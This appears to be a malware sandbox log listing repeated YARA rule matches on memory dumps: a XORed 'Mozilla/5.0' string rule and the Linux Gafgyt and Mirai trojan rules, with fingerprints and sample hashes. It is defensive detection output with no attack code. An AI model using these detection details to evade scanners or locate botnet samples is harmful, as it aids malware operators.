Source: 6739.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6739.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6739.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6306.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6306.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6306.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6854.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6854.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6854.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6557.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7125.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7125.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7125.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6288.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6981.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6981.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6981.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6981.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6407.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7383.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7383.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7383.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6763.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6763.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6763.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6297.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6533.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6817.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6566.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6426.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6892.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6892.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6892.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6426.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6426.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6749.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6749.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6749.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6913.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6913.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6913.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7361.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7361.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7361.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6555.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6926.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7059.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7059.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7059.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6947.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6947.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6947.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7204.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6675.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7381.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
